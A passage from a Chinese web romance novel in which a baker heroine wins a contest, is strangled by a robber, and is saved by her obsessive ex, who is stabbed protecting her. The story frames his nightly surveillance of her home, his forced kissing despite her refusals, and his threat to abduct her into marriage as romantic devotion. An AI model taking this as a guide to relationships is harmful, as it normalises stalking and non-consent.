谁最合适她,她心里有数。 比赛也很快结束。 比赛要求是参赛选手要统一制作主办方指定的甜品, 由几名评审一一尝试,再选出最符合她们口味的蛋糕。 在评审试吃间, 所有人都不禁紧张起来。 孟尘萦也屏息凝神。 这是她第一次参加这种甜品比赛, 紧张感难以形容, 但在比赛前她也做了不少功课,这次是特地按照英国人的口味做出的甜点。 这一年多的时间, 她没有一天是混过去的。 她没有学过专业的烘焙知识, 当初选择做烘焙, 也只是机缘巧合下发现的兴趣。 她幼时一次在报纸上看到,有个小女孩在比赛里用自己亲手烤的饼干拿到人生中的第一个奖,她因此深受启发。 她很羡慕那个小女孩拿了冠军后被父母拥在怀里。 那时候她也很天真,她以为她学会烤饼干后,爸爸妈妈也会那样抱着她夸奖她厉害。 后来她偷学了许多知识,烤出自己人生中第一份饼干, 那时候她才十二岁。 她记得,当天下午最先回家的是蓝健平。 她不喜欢在家里跟这个继父独处,她总觉得,他眼神看她时,好像藏着深深的厌恶,这话她不敢跟任何人说,所以只要蓝芷和许乐芳不在家,她都会把自己关房间里。 晚上等许乐芳回家,她屁颠屁颠跑出来,想把自己烤好的饼干分享给妈妈得到夸奖。 可她放在桌上的那盘小饼干,不知何时全部都泡进了一旁的水桶里。 她想给妈妈分享的饼干就这样成了废品。 这事让她很难受,她知道,肯定是蓝健平毁了她的心血,但是她的猜测没人会信,她只能把苦水自己咽进去。 但也因为这件事,让她更有斗志,也让她在其中发现了烤饼干的乐趣。 渐渐的,她爱上了制作甜品。 这些年,她看了不少烘焙书和视频,其中也不乏自己长年累月的经验。 在专业领域上,她还是很自信。 周围看客不少都来为参赛选手加油。 梁嘉序的视角能清晰看到孟尘萦的脸。 他知道她现在一定很紧张,很想站在她身边给她依靠,但这次的比赛,是她初次靠自己能力,比试专业知识。 她性子是那样倔强,这时候最不需要的就是旁人的依靠。 在场的参赛选手都十分紧张。 几名评审一一品尝过各位的作品,互相朝彼此点头,没人能从评审的表情里渗透出结果。 直到要宣布冠军的那一刻。 孟尘萦才总算歇下紧张的心情。 她拿了第一名。 全场沸腾。 所有人献出掌声。 孟尘萦接过捧花和奖杯,也接下身边参赛选手的祝福夸奖。 虽说这只是一个很小的比赛,也并没有什么含金量,但其中成就感仍是难以比拟。 比赛结束,孟尘萦和陈寰柏在外面见面,她高兴地向他分享喜悦。 陈寰柏微笑,眼里的赞赏毫不掩饰:“恭喜你。” 孟尘萦:“也谢谢你给我提供这个机会!” 两人相视一笑。 梁嘉序站在树荫下,冷脸碾碎烟头,阔步行来。 孟尘萦还抱着奖杯欢快地形容自己紧张的心情,没意识到身后朝她越靠越近的人。 陈寰柏一急,正要想要提醒她。 梁嘉序已停在她身后:“恭喜你。” 熟悉的声音,让孟尘萦条件反射后背一凉,她缓慢转过身子。 看清来人,她慌张后退几步。 如临大敌。 梁嘉序漫不经心扫了眼她的反应,唇边展开淡笑:“别紧张,我只是来恭喜你。” “孟尘萦,你每次看到我的反应就很不一样,”梁嘉序情绪平静地笃定说:“看来,我对你始终是特别的。” 孟尘萦心里咚了声,同样心平气和地反驳:“才不是。” 她的反驳,似乎并没有什么攻击性。 梁嘉序仍是直勾勾望着她,莫名让她心里漏了一拍,她不动声色错开眼神。 心想,大概是因为梁嘉序曾是与她最亲密无间的男人,她面对他很难做到镇定。 但被他这样直白这样揭穿,也让她难以接受。 “梁嘉序,你离我远点。” 她怔圆了眼睛,凶巴巴瞪他:“你有前科的,好吗?” 梁嘉序:“远点就远点,让我看着你就行。” 他果然退后了几步。 这听话的反应,反而让孟尘萦有点手足无措。 这还是梁嘉序? 他难道不应该在她说这句话后,反而把她锁进怀里,凶猛地强吻一遍? 陈寰柏目光在两人身上打转一遭,心忽地一沉,他走过来挡住视线,不让梁嘉序看她。 “时间不早了,我们还是先赶回维利斯特。” 说的有道理,不该在梁嘉序身上浪费时间。 孟尘萦跟陈寰柏上了车,临坐进去前,她没忍住回头看。 梁嘉序还站在原来的位置望着她,神色寡淡,眼里却衔着笑。 虽然他目前的举动不像以前梁嘉序会做出来的事,但眼神仍然半点都没改变。 含着钩子似的,明目张胆,暧昧扑了过来。 只看了一眼,就觉得好像被吸进了他的眼里。 她心跳不由加快,被他眼神隔空感染,耳廓不争气地有点红。 孟尘萦又气又烦,想骂他简直阴魂不散。 气到原地跺了跺脚,才坐进副驾驶。 但她能感觉到梁嘉序还在看她。 孟尘萦催促陈寰柏赶紧开车,离开他的视线范围内- 赶到维利斯特已是夜里。 陈寰柏把孟尘萦送到她家门口,“到了。” 孟尘萦抱着今天赢来的奖杯,道谢后,正要下车。 陈寰柏及时喊住她:“孟尘萦。” 这一年多陈寰柏一直都是喊她夏夏,上一次喊她孟尘萦之后,他说了什么话,她还记得。 孟尘萦过头看他:“怎么了?” 陈寰柏手握着方向盘,直视她的眼睛:“你会对梁嘉序心软吗?” 孟尘萦不理解他为什么突然问这个,他主动解惑:“你们曾经交往过,他在你心里一定是留有特殊的地位,或许你觉得那不是喜欢。” 孟尘萦抿抿唇:“我觉得,我们还是不要讨论……” 她不觉得这是身为朋友该讨论的话题。 陈寰柏直接了当说:“我从没想过要一直跟你做朋友,在梁嘉序来之前,我的想法只是留在你身边,陪你在这个小镇子里度过平淡温馨的日子,等你什么时候不抗拒感情了,我想,那就是我的机会。” “但梁嘉序来了后,我承认我有点慌了。” “我自认为,这一年半的相处,我们的关系应该不同,但好像……” 他望着孟尘萦平静的眼神,自嘲道:“你好像迟钝的异常,一直把我当普通朋友,没打算对我生出任何想法。” “你……”孟尘萦停住接下来的话,她握紧怀里的奖杯,面色不显,手指头却往后退了一步。 她坐在副驾驶,没办法退开,但手指细微的动作还是暴露了她的心思。 原来,他竟是没有半分优势。 即使清晰明白这点,陈寰柏仍是想拼一把,他身躯前倾,靠近:“假如,这个世上只有两个男人供你选择,我和梁嘉序之间,你会选择谁?” 孟尘萦没吭声,眼眸在细微的转动。 刚才有一瞬间,她的确在想他提出的问题,但她没有给出回答。 陈寰柏坐姿归拢,很绅士地替她把滑下来的包放回她怀里,“很晚了,早点回去休息,明早还要工作。” “嗯。”孟尘萦轻轻嗯了声。 她开门下车,目送陈寰柏把车开走。 车子却迟迟没有动静,没料,陈寰柏又降下车窗,俊朗的脸扭过来,透过车窗看她:“你内心对梁嘉序,似乎并没有那么厌恶。” 孟尘萦连忙说:“不是。” 她讨厌梁嘉序! 陈寰柏笑笑不语,垂眸,遮住眼里的失落:“即使那样,也希望你别对他心软,求你。” 目送车子开离,孟尘萦没忍住叹叹气,她抱着身上的东西打算转身回屋,却在后方不远处又见到了梁嘉序的车子。 她皱了皱眉,心下不悦。 想把他赶走,但又觉得对梁嘉序说这种话也没什么用。 他不会走。 孟尘萦本来就因为陈寰柏今晚说的话心烦着,她目前只想好好的工作,靠自己喜欢的事挣点小钱过好日子,但这两个男人,似乎都并不想让她好过。 尤其是梁嘉序。 她怒气冲冲跑回自家院子,“啪”地一下用力关上了门- 隔天早上孟尘萦来到店里时,陈寰柏也在。 他往常都很少来店里,近期不仅经常来,今天更是比她到的更早。 陈寰柏出现在工作台后,笑着朝她招手:“早啊。” “早。” 店里一股咖啡香,是陈寰柏在煮咖啡:“是挺早,我昨晚失眠了,醒来太早也没事做。对了,你吃早饭了吗?” 孟尘萦摇头。 她家里冰箱的面包吃完了,这几天都没时间去补货,早上也干脆空着肚子出门的。 陈寰柏拿出两个鸡蛋:“我也没吃,正好我把你那份也做了。” 孟尘萦尴尬一笑:“还是别了,一会晚心来了我跟她上街去买点儿吃的。” 没几分钟,沈晚心打着哈欠来上班,一来她就闻到鸡蛋和黄油煎面包的香味,口水直泛滥,嗖地冲到厨房,跟哈巴狗似的眼巴巴馋着锅里的东西。 “老板,这是两份,有我的吗?” 陈寰柏笑笑,把自己那份给她:“有,一会给你和夏夏一起吃。” “老板万岁!” 孟尘萦闲没事做去摆动座椅,大清早,风铃响了。 店里很少有这么早就来的顾客,她循声望去,见梁嘉序闲庭信步进来。 他身后跟着一个助理,提着饭盒。 梁嘉序自觉找了个位置落坐,坐姿闲散。 助理将准备的饭盒打开。 海鲜的清甜香味四处发散,是一份极其诱人的海鲜粥。 孟尘萦心里一惊,后退半步。 梁嘉序神色淡淡,抬眸看她:“知道你最喜欢璟兰园厨师炖的海鲜粥,我把人都请了来。” “尝尝?是你的口味。” 沈晚心跑到孟尘萦身后,一脸八卦:“夏夏,什么情况啊?” 孟尘萦满脸不赞同:“梁先生,你不用做这种多余的事。” 梁嘉序:“只是吃个早餐,怕什么?” 他唇角微勾,眉眼自信张扬:“还是,孟尘萦,你害怕跟我多接触后会爱上我?” 孟尘萦脸一热:“你说什么呢,才不会!” 他托着下巴,语调散漫:“那你在怕什么?” 他在这家店里,闻到了煎蛋和面包的味道,嗤笑出声。 孟尘萦的口味只有他最清楚,那是他曾经每天用十几道国家的菜,一点点从她嘴里试探出来的。 她从不把自己的心思告诉旁人,就连饮食方面,不是真心关注她的,是绝对不会知道她的爱好。 煎蛋面包她吃了一年多,按照孟尘萦的胃口,再多吃几口,定是要吐。 她是纯正的中国胃,在西式早餐和中式早餐,她的味蕾会诚实为她做出选择。 海鲜粥的香味足够诱人。 孟尘萦不动声色咽了咽口水,把脸撇开。 陈寰柏也把早餐端出来。 他准备了两份。 “夏夏,早餐做好了,先吃了吧。” 孟尘萦没做声。 场面一度十分尴尬,沈晚心扫了三人一眼。 莫名觉得陈寰柏和眼前这位矜贵的先生之间,似乎升起了看不见硝烟的战争。 沈晚心悄悄端走自己那份早餐,坐在桌前,慢吞吞吃起来,生怕被搅进战场。 而梁嘉序仍是那样从容不迫,托着下巴看她笑。 陈寰柏也把那份早餐放在了桌子上,等她选择。 孟尘萦闭了闭眼,后退一步,谁也没选。 “老板,你早饭还没吃,这份是你给你自己做的,你吃吧。” 陈寰柏温声道:“你早餐还没吃。” 孟尘萦不吃他这份,他也不愿意动。 沈晚心刚啃完自己碗里的,见那份都要凉了也没人碰,她正饿着,直接扑过去,“没人吃就我吃了啊。” 她拿叉子直接把煎蛋面包叉起来送进嘴里,边吃边吐槽:“老板,有点油了啊,下次黄油少放点。” 陈寰柏似笑非笑看她:“两份早餐也堵不住你的嘴?” 那份海鲜粥还摆在桌面上,饭盒是砂锅质地的极其保温,空气中飘着淡淡的香味。 梁嘉序很有耐心,慢悠悠道:“没关系,你喜欢的厨师也带来了,什么时候想吃了,随时都可以。” 孟尘萦后背一紧。 她忽然又想起,初在京市见到梁嘉序的场景。 那时候他也是这样,运筹帷幄,极其有耐心地诱她上钩。 她想,若是她现在又有了男朋友。 他也能当着她男朋友的面,做出这种钓她的事。 梁嘉序就是这样的人。 – 梁嘉序连着很多天出现,严重影响到孟尘萦的生活。 忍无可忍,无需再忍。 她想好了,今天要再他说清楚,让他不要再来打扰她。 但意外的是,梁嘉序整个白天都没有来。 他这大半个月几乎每天都会来店里,忽然有一天不来,孟尘萦都有点不大习惯。 白天做事的时候,时不时会看向门外。她的种种反应,被沈晚心看在眼里。 沈晚心说她是因为梁嘉序而生起了戒断反应。 他长时间连续出现在她面前,又忽然不再出现,目的就是让她对他产生好奇,会胡思乱想他发生了什么事,为什么今天不来看她。 孟尘萦冷笑:“原来这是他的计谋,那我不会上当的!” 下午沈晚心请了半天的假,提前下了班,说是在别的地方又发现了她爸爸的消息。 晚上店里空荡荡,也没几个顾客。 冬夜寒冷,没几个人夜里愿意出门,孟尘萦百无聊赖坐着数时间,只待时间一到,她就收工下班。 约莫还有半小时收工时。 风铃泠泠地响起。 孟尘萦露出笑容,询问顾客需要点儿什么。 那人佝偻着背,衣着单薄,甫一进来,他身上的恶臭味便溢满在整个店里。 他迈着小碎步,走得很艰难才挪至柜台前,离近了看,脸上被污垢结成块的围巾遮挡面容,露出浑浊的双眼。 “小姑娘……” 他一开口,说的便是中文。 孟尘萦愣住,也用中文回复他需要点儿什么。 老人家颤巍巍从口袋里取出一张照片:“你见过这上面的人吗?” 他手中照片有些破旧,多处折痕使画面不太清晰。 孟尘萦看不太清。 他嘶哑地喊,手也张牙舞爪在空中折腾,似要哭出来:“你看看,出来看看,这人你认识不?” 孟尘萦道:“您先别急,我马上出来看看啊。” 借着室内灯光,孟尘萦细细打量这张不太清晰的照片,总算看清照片上是个十三岁的小女孩。 “这个……” 越看小女孩,她越觉得眼熟,指着照片问:“你要找的人,她叫什么名字?” 老人家抬起浑浊的眼。 眼里的凶光霎时间迸发出来,方才还软弱无力的手掌心也用力扣上孟尘萦纤细的脖子,将她往柜前按住。 “这是我的女儿,沈晚心。” 孟尘萦用力推搡他,方才还佝着背的老人家猛地站直,脸上的围巾刷地掉落。 这是一张长满了络腮胡的中年男人,眉眼有几分深邃的混血长相。 孟尘萦看过沈晚心爸爸的照片,认出就是面前这个男人! “你要干什么?” 她惊恐地用脚用力踹这人。 沈河掐她脖颈,恶狠狠道:“我观察你快两个月了,这个店是你的?小姑娘很厉害啊,快把钱都交出来!” 两个月?孟尘萦面露惊悚。 那两个月前,她隐约觉得总有人在暗中观察她,就是沈晚心的爸爸? 孟尘萦愤愤道:“你知道晚心找你找的多辛苦吗?你明知道她在找你,竟然一直在背地里谋划这种事!” 沈河眼珠子几乎要暴出来:“老子现在只要钱!” “把钱给我!” 孟尘萦奋力挣扎,但男女力量悬殊。 她的手机在工作台上,现在又是晚上,她只盼着能有个人进来买蛋糕,救她。 沈河双手掐上她脖颈,看着她脸越来越红,他脸部逐渐狰狞。 “把钱给我!” “把钱给我!” 孟尘萦的手心用力拍打桌面,她忽然觉得呼吸无比的艰难,命脉被死死掐住。 沈河身上恶臭的味道,和被掐住的脖子,让她几乎缺氧。 她连呼救都喊不出来了。 难道她要被掐死了吗? 思绪乱七八糟间,孟尘萦微眯的视线里,似乎看到了一张熟悉的面容。 她不明白发生了什么事,只感觉自己呼吸得了救。 很快,她被一股冷冽的木质香轻柔地抱在怀里,她伏在那人肩头,浑身软趴趴,重重喘气。 孟尘萦精疲力尽地掀起眼帘,却只能看到那人模糊的轮廓。 “梁……” 好像是梁嘉序…… 梁嘉序温柔地把她放下,转过身,冷白的脸色霎时间笼罩挥之不去的杀意。 他抄起座椅,发了狠劲,砸在那人身上。 “嘭、嘭”接连几声,椅子四分五裂。 沈河满头是血,痛苦惨叫,张牙舞爪扑过去。 这人就是个亡命之徒,在国外流浪十年,已经彻底不怕死了。 被打成这样,还能硬杠。 孟尘萦有气无力地瘫坐着。 她眼前闪过诸多凌乱的画面。 而梁嘉序,他就像一只没人能管得住的疯狗,他几乎快把沈河打死了。 她连忙喊住他。 “梁嘉序……” 梁嘉序用力掐着沈河的脖颈,把他抵在墙边,声线阴冷:“敢动她,你想死么?啊?” 沈河吐出一口血水:“疯子!” “老子只是要钱,你想要老子的命?!早知道老子早点杀了她!” 梁嘉序眼里跟充了血似的,瞳仁骤缩,阴鸷的杀心汹涌翻腾,他挥起拳头要照着这人太阳穴砸落。 “不要!!” 沈晚心推开门进来,及时喊了一声,梁嘉序那个拳头,还是用力地砸在沈河脸上。 沈河半边脸骨都似凹了进去。 孟尘萦气息一凝,吓得睁大眼睛。 血腥味与沈河身上的恶臭味交融,令人窒息的气味。 沈晚心痛哭跑过来,看着眼前一幕,如同天塌。 “怎么会……” 这是她找了这么久的爸爸。 沈晚心不明白发生了什么,怒气冲冲瞪着梁嘉序,“你怎么能把我爸爸打成这样啊?你怎么这样,你是恶霸吗,啊?!!” 梁嘉序冷冷瞥她:“这个老东西死有余辜。” 沈晚心气得扑过来要跟梁嘉序拼命。 孟尘萦费劲站起来,想告诉沈晚心这件事的经过。 就在这时,本来已经被梁嘉序打到只剩最后一口气的沈河,用尽全力,从衣服里掏出一把匕首。 孟尘萦还没站稳,眼看着尖锐的那面冲她刺来。 那瞬间,她大脑几乎是停止思考的。 她也根本来不及跑。 千钧一发之际。 她的视线被黑色压住。 同一时刻,她听到闷哼地一声响。 血腥味扑面而来。 孟尘萦愣住,伸出来的手僵在空中,身前的男人,捂着腹部的匕首,一脚踹开沈河。 沈河被这脚踹的,再也爬不起来。 孟尘萦声音一抖:“梁,梁嘉序?” 她连忙扶住他。 沈晚心看着眼前这一幕,彻底傻眼。 她以为是自己父亲是被人欺负,没想到,她父亲才是那个罪犯! “夏夏……” 孟尘萦满手都是血。她右手手扶着梁嘉序的身体,左手贴他的脸。 他脸冰凉,一点温度都没有。 “夏夏,这怎么办……”沈晚心哭着喊。 孟尘萦看她,声音比平时尖锐:“救护车!快叫救护车!!” 梁嘉序脸上白得彻底失去血色,却还目光贪恋地看着她。 “孟尘萦,你眼里的泪,是为了我么?” 孟尘萦嗓音艰涩道:“都什么时候了,你怎么还这样……” 她费劲扶起梁嘉序,“你助理还在附近对不对,叫他快送你去医院!” “晚心,你快去外面找他的助理。” 沈晚心应了几声,哭着跑出去。 梁嘉序低声笑,气息愈发弱:“这么了解我?” “孟尘萦,别不承认了。” 孟尘萦眼眶的泪彻底被他这副懒散的态度逼出来,气愤骂道:“梁嘉序,你真的很讨厌!这种时候了你怎么还能这样……” 她虽然讨厌他,但也不想要他死啊,更不想要他因为她而死…… 沈晚心很快带了黑衣助理来,那助理见这场面,脸色大变:“梁先生。” 孟尘萦立刻吩咐:“快带他去医院。” 助理搀扶起梁嘉序,却见他的手还紧紧握着孟尘萦不肯松。 孟尘萦安抚他:“我跟你一起去,放手好吗?” 他不肯,冷冷地注视她:“一放手你就会跑,对不对?” 孟尘萦摇头:“不会,我跟你一起去医院,信我。” 他还是不肯松,腹部的血在不断往下滴。 脸色也越来越不好,再拖延下去只会更严重。 孟尘萦只能让他牵着上车。 刚把梁嘉序扶到车里,他就在她怀里昏睡了去。 她吓得心跳都险些停了,探了鼻息见还有呼吸,才稍微心安。 助理很快把车子开离此处。 孟尘萦正想告诉他医院在哪。 助理便说:“我知道在哪儿。” 她面露疑惑。 助理平稳且快速行驶中,看了眼后视镜:“孟小姐,梁先生来维利斯特快一个月了。” “去医院的次数不算少。” “他今天没去店里看你,也是刚从医院出来。” 孟尘萦问道:“他为什么会经常去医院?” 助理心里一沉。 把梁嘉序因为想念她而生出心理疾病的事压下,只说了他近期因为每天晚上都在她家门外守着,长期休息不够,身心俱疲,受了点影响。 “医生先前就说让梁先生住院一段时间的。” “那他为什么不听医生的话?” 助理看了后视镜里,梁嘉序那张苍白的面容:“梁先生,他只能听得进您的话。” 第59章 第 59 章 “把你绑回国领证,好不…… 梁嘉序脱离危险从手术室里出来, 已经是第二天的事了。 幸运在匕首捅到的位置没有伤及要害,但他也因为失血过多,加上这段时间身体过度劳累的缘故, 身体已经到达了极限,医生特地下了严令,必须要住院一段时间。 隔天, 沈晚心一脸愧疚提着水果篮来医院。 梁嘉序昨天才苏醒,目前还不能探病, 其实最主要的原因也是沈晚心她不敢去探病。 “夏夏,麻烦你帮我跟梁先生道个歉。” 她眼眶泛红, 流泪道:“我真的不知道, 原来是我爸爸他想对你下手……” 孟尘萦安抚好她情绪,又问:“你爸爸怎样了?” 沈晚心摇头, 擦干脸上的泪:“我也不知道……那晚我送你和梁先生上车,等我再回去的时候, 店里只有一瘫血迹, 他应该是跑了。” “我已经报警了, 也把这件事告诉了陈老板,他知道你发生这种事觉得很歉疚, 那天就因为我们都不在, 才让我爸有机会对你下手。” 她没想到, 她千辛万苦要找到的爸爸竟然一直在暗中观察她,还想对她的朋友下毒手。 “我爸现在找不到了,为了你的安全着想,陈老板说目前先要闭店休息一段时间,也不知道我爸什么时候再找过来,我……” 沈晚心崩溃大哭, 扑到孟尘萦的怀里:“我真不知道我爸爸怎么就变成了这样,我想过他在国外流浪会过得不好,但没想到他竟然成了个亡命之徒。” 孟尘萦轻声:“晚心,你也该当心些,你爸爸很有可能会去找你,他根本就没有人性了,不会因为你是他女儿而心软。” 梦想一朝破灭,在异国流浪了十年的人,谁知道他究竟经历了什么,心理或许早就已经扭曲,怎么还会有人性。 沈晚心愤愤道:“你放心吧,我本来对他也没什么感情,来找他只是想给我妈一个交代而已,现在知道他成了这种人,我也可以给我妈一个交代了,我可能要不了多久就要回国了。” “嗯。” 沈晚心又问:“你呢?” “我?” “对啊,梁先生为你做到这个地步,他把你看得比自己的性命都更重要,连我一个外人都看得出来。” “你怎么想的呢?” 孟尘萦垂眸,情绪不明:“我等他病好吧,他毕竟为我受伤,我不能当不知道。” “那病好了之后呢?” 孟尘萦:“之后能怎样,还是老样子啊。” 沈晚心小心翼翼问:“你难道没想……”说到这,她清晰看到孟尘萦眼里过于平静的情绪,想了想,还是止住了接下来的话。 “想说什么?” “算了,没什么。” 沈晚心比了个加油的手势:“不管你做什么选择我都会支持你。” 两人在窗户那聊天,孟尘萦看到有护士进了梁嘉序的病房,猜想应该是去给他打吊水的。 跟沈晚心说清楚后,她便回病房了。 – 护士打完吊水,端着托盘出去了。 梁嘉序睁眼看天花板,漆黑的瞳仁淡然无痕。 孟尘萦推门而入,轻轻走进来怕吵醒他,谁知她刚进门,梁嘉序就看到她了。 她走到床边问:“你好些了吗?” 梁嘉序轻描淡写道:“我说好了,你是不是马上就要走。” 孟尘萦避开他质问的眼神,心平气和说:“但我不是医生和护士。” 他冷笑一声,病房的温度骤然冷冻如霜:“你就真的对我这么心狠?” “梁嘉序,”孟尘萦默了片刻,又说:“你救我这事,我真的很感激,但一码归一码,我……” 她就这样站在他面前,纤柔的,单薄的,白皙的,外表瞧着人畜无害,实则骨头不仅硬,对待他,心也无比硬。 梁嘉序比谁都清楚,眼前的女孩若狠心起来,怕是宁愿自己捅上一刀,还了他的救命之恩。 两人久久无言。 在沉默的间隙里,谁也没有开口说话,孟尘萦是不忍心再说重话,梁嘉序则是知道再挽留她也没用。 最先打破沉默的是梁嘉序。 他神色淡淡,弯唇轻笑:“你回去吧,这两天为了我让你也没好好休息过。” 孟尘萦靠近些,站在病床边细细看他脸色。 他状态还是还是差得很。 脸色极其苍白,看着脆弱又可怜。 换以前的梁嘉序,这时候怎么会放过她。 这次他反应的确超过孟尘萦的想法,她没想到,梁嘉序为了她,竟然能把脾气收敛成这样。 孟尘萦的良心忽然有点不好受,主动说:“我把我号码给你的助理,有什么事让他及时给我打电话。” “你好好休息。” 说完这句话没等他回应,她直接走了,房门轻轻阖上,担心打扰他的休息。 梁嘉序唇角那点淡笑一点点收拢- 因为甜品店暂时关门闭店,孟尘萦回家也没事做,趁着阳光正好,干脆开始打扫起卫生。 下午三点,陈寰柏特地登门。 “虽然从沈晚心那知道你没有大碍,但我还是很担心。”他眉心紧拧,自责道:“那晚要不是我不在,你也不会经历这种事。” 孟尘萦握着笤帚在扫院子里的落叶:“这也不能怪你,没人想到会出这种事啊。” 陈寰柏看着她背影,又问:“梁先生伤得很重吗?” 孟尘萦手一顿,垂眸看着地面:“嗯,有点。他为我挡了一刀。” 在她没注意的视角,陈寰柏一直在细细注视她面上细微的情绪。 他想看清楚,当她说出梁嘉序为她挡了一刀之后,脸上会不会出现感动的神色。 他想,应该没有哪个女孩子不会为这种事动容。 孟尘萦肯定也不例外。 但可惜,她隐藏的实在太好了。 他没办法窥探出她内心深处最真实的想法。 在梁嘉序来维利斯特之前,他一直觉得自己跟孟尘萦是最合适的合作伙伴。 可他来了后,一切都变了。 孟尘萦不承认,但他能感觉出来。 在孟尘萦的心里,男人只分两种类型。 一种是大街上随处可见的男人,另一种,就是梁嘉序。 她对梁嘉序的感情,或许现在并不是最纯粹的喜欢,但在她心里绝对给梁嘉序留了个特别的位置。 他跟其他男人不同。 旁的男人,很容易被她关在那道竖起来的心门之外,她不给任何人进去的机会。 只有梁嘉序,在她没有给钥匙的情况下,他也不顾阻拦推开那道门,强迫进入。 他害怕,梁嘉序再多做一点儿,就会让她心软。 他也不能够,再在原地等个最好的时机了。 “孟尘萦。” “嗯?” 陈寰柏走近几步,脚底踩上她正要扫起来的那片落叶。 垂眸看她,目光真诚柔情。 孟尘萦微微后退,唇瓣微启正要开口说话,陈寰柏的声音,就像这缕映在青石板地的阳光般降落。 “我喜欢你。” 孟尘萦紧紧握着笤帚的手柄,面色微怔。 陈寰柏认真说:“是很简单纯粹,想跟你一直在一起的喜欢。” 孟尘萦唇瓣微张。 她还没回答,他就有点怯懦,不敢听到自己不想听到的回答。 他微微一笑,很温和道:“你不用急着给我回答。” “明天中午十二点,如果你想给我答案,就来伊斯恩河找我。”- 下午除干净院子里的杂草,晚上孟尘萦又洗了个热水澡,翻开冰箱发现没有食材了,本想随便煮包泡面应付过去。 她刚把泡面拿出来,隔壁邻居就来敲门。 章之窈得知孟尘萦前两天发生了那样惊险的事,很担心她的精神状况,邀请她来晚上来自己家吃饭。 “夏夏,女孩子独居真的很危险,你一定要注意安全。” 孟尘萦笑着点头,说会的。 “这只是小概率事件,我也没想到原来有人跟踪我这么久,看来咱们女孩子还是要相信自己的直觉。” 她从两个月前就感觉在店里的时候,有人在偷偷监视她。 以为她是甜品店的老板,沈河就盯上了她,还特地观察了两个月,又见她一个女孩晚上一个人在看店,便起了歹心。 布莱斯问她:“你那晚是怎么脱险的?” 孟尘萦:“有人出现救了我。” 布莱斯:“那可真是太幸运了,你一定要报答对方啊。” 孟尘萦轻声:“是想报答,但没想好怎么报答。” 这时尼克凑过来出主意:“钱!” 对,没人会不喜欢钱啊。章之窈他们也是这样想。 但孟尘萦遗憾一笑:“那人,他最不缺的就是钱。” “那他缺什么,你就给他什么嘛。” 孟尘萦认真想了想,又说:“算了,现在最重要的是希望他赶快把身体养好,等他病养好了,我再跟他讨论报答的事。” 孟尘萦在章之窈家里吃了一个愉快的晚饭,饭后,又陪爱丽丝喝了一杯果汁。 眼看时间不早,两个小孩也要睡了,孟尘萦就提出告辞回自己家。 走出院子,寒风夹杂着月色的清冷,冷得孟尘萦吸了吸鼻子。 她双手插口袋里取暖,低头走路时,忽然想起白天陈寰柏说的话。 他邀请她明天十二点去伊斯恩河见面,给他回答。 她对陈寰柏没有想法,本来那会就要给答案,他不愿意听,那她也只能遵从他的心愿,去伊斯恩河跟他见面,给他一个回答。 并且,她已经另外有了别的计划,总要跟他说一声。 一路在想陈寰柏的事,她回到自家院里。 关好外面院子的门,走到屋前,从口袋里掏出钥匙。 房门打开的那瞬间,她右脚刚踏进去。 便感觉转角处忽然窜出一道黑影。 那人拥着她的腰,发狠地将她往屋内带。 她吓得惊呼一声。 下一刻,她的背被抵在门板上。 拥住她的人都没看清,直到那股冷冽木质香铺天盖地将她裹挟,孟尘萦心猛地一沉。 “梁……” 刚脱口而出一个字,灼热的湿润将她吞噬。他凶猛地闯进来,像头疯到没有理智的野兽,恣意的,狂妄的,不知疲惫的,掠夺她嘴里每一寸的领地。 在她的唇瓣,她的舌尖,种满他毫无人性的气息。 灵魂似要被他吸了出来,神经不断跳跃。 跳跃到不能自己。 孟尘萦疯狂拉扯回被他压榨到仅剩的那点意志力,艰难抬手捶打他胸膛。 声线断断续续,又破碎:“你,你放开我……” 她艰难避开吻,却又被他掐着下颌掰了回来。 这种强势的掌控感,瞬间让她回到在京市的时候,回到在梁嘉序掌控下的恐惧。 她泪水决了堤。 “梁嘉序·…” 为什么她怎么避开,他都有办法把她捉回去。 她好恨,又气又恨,不管不顾把心中所有怨气全部撒出来,用力捶打他的胸膛,直到嗅到道一股不合时宜的血腥味,她手中动作一僵。 他还有伤…… 是为了她伤的。 孟尘萦找回了半分理智,在她迟疑间,梁嘉序又捉住她手腕按在门板上。 他欺身压来。 “嗯?明天要赴别的男人约?” “孟尘萦,你男人我还没死。” 他嗓音压低,跟恶魔低语似的在她耳边说:“我愿意为你低头,你倒真觉得我那般大度心善,能接受你跟别的男人在一起?” 孟尘萦呼吸急促:“你怎么这样对我……” 他吮住她轻颤的舌,吞咽她舌尖被弄出的水。 不够,还不够。 他又含住她眼尾的泪一点点浸到自己身体里,与自己融合。 梁嘉序血液在不断沸腾,身上的刀伤似感觉不到痛,他的心才是为了她被捅的千疮百孔。 他爱怜般抚摸她额间被逼出的冷汗,垂睫看她,眼底积压许久的戾气在这一刻彻底爆发:“孟尘萦,心这么硬啊,我该拿你怎么办才好?” “明天把你绑回国领证,让你这辈子都跟我捆绑在一起,好不好?” 第60章 第 60 章 心掏了出来。 漆黑的环境下, 她都看不清梁嘉序的脸,看不清他面上的神情,但她却能清晰分辨他此时说出这句话的可信度。 这个疯子! 她以为他真的改变了。 原来不过都只是伪装而已! 孟尘萦背抵在门板上, 手腕也被他按住,无法挣脱。 这么晚了,他重伤从医院跑出来, 就是为了这样对待她? 孟尘萦越想越气,用力咬了一口他舌尖。 他像不知道疼, 这也不松。 浑身很快被他弄得发软,已经无法站直, 她双腿微微屈着, 要不是梁嘉序还箍着她,这会儿大概已经瘫软在地。 他再一记发狠吻到最深处, 孟尘萦彻底抵挡不住,身子从门板上滑落。 他的吻又一路追过来, 她瘫坐在地, 他便单膝屈在她跟前, 追着她的唇,她的脖子, 不断吸取气息。 她已经被吻到浑身上下, 又再度沾染上梁嘉序的味道。 他疯了。 彻底疯了。 孟尘萦觉得, 疯的不止是他。 她大概也要被梁嘉序给逼疯了。 这种荒唐的事怎么会发生在她身上?为什么她无论怎么逃,都始终逃不出梁嘉序的手掌心。 她真的累了,也倦了。 她感觉自己好像一个已经被充过头的气球,一度将要自爆,却好像始终缺一口气。 而梁嘉序则是那个引爆她的人。 孟尘萦释放出来,背靠门板后, 再也控制不住崩溃大哭:“梁嘉序,到底为什么你要这样缠着我,两年了,我也跑了两次,我就是跑出国了你也能找到我,你到底要我怎么办才好啊?” 她仰着泪痕斑驳的脸庞,哀求地哭:“你告诉我,告诉我要怎么办才能摆脱你,你到底能不能放过我?” 梁嘉序病态的脸毫无血色,侧脸蹭她颈窝,将呼吸痴缠地黏她肌肤上。 再缓缓抬头,冰冷的掌心扣上她的后颈。 “你先放过我好不好?” “嗯?” 